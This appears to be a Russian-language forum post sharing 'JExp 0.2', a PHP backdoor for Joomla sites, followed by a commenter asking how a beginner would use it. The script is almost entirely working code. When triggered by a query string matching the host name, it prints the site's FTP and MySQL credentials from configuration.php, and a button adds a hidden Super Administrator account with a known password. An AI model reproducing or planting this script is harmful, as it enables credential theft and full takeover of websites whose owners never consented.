JExp 0.2
По функциональности ничем не отличается от JExp 0.1, но реализовано более правильно.
<?php
function GetParam($arg) {
global $exp;
$show = $exp->$arg;
return $show;
}
function PrintParam($arg) {
print("<b>".$arg.": </b>".GetParam($arg)."<br/>");
}
if ($_SERVER["QUERY_STRING"] == $_SERVER["HTTP_HOST"]) {
include "configuration.php";
$exp = new JConfig();
echo "<h3>ftp configuration</h3>";
PrintParam('ftp_host');
PrintParam('ftp_user');
PrintParam('ftp_pass');
echo "<h3>mysql configuration</h3>";
PrintParam('host');
PrintParam('user');
PrintParam('db');
PrintParam('password');
PrintParam('dbprefix');
echo "<form action='' method='post'><input type='submit' value='add superadmin' name='au' /></form>";
if ($_POST['au'] != null) {
$here_we_go = mysql_connect(GetParam("host"), GetParam("user"), GetParam("password"));
$select_db_query = mysql_select_db(GetParam("db"), $here_we_go);
$new_username = "username02";
$new_fullname = "UserName";
$new_pass_hash = "0c351ddbe5c2e39bae0238901468c0b5:B0peDjABSuno3ZBsBVJjVn6V7Y8VETCF";
$jos_users_query = mysql_query("
INSERT INTO jos_users
(name, username, email, password, usertype, block, sendEmail, gid, registerDate)
VALUES
('".$new_fullname."', '".$new_username."', '".$new_username."@example.com', '".$new_pass_hash."', 'Super Administrator', '0', '1', '25', NOW())
", $here_we_go);
$jos_core_acl_aro_query = mysql_query("
INSERT INTO jos_core_acl_aro
(section_value, value, order_value, name, hidden)
VALUES
('users', LAST_INSERT_ID(), '0', '".$new_fullname."', '0')
", $here_we_go);
$jos_core_acl_groups_aro_map_query = mysql_query("
INSERT INTO jos_core_acl_groups_aro_map
(group_id, aro_id)
VALUES
('25', LAST_INSERT_ID())
", $here_we_go);
echo "added superadmin - ".$new_username.":qwerty";
}
}
else {
echo "unauthorized access!";
}
?>
а как им пользоваться… что-то не понятно…как для новичка??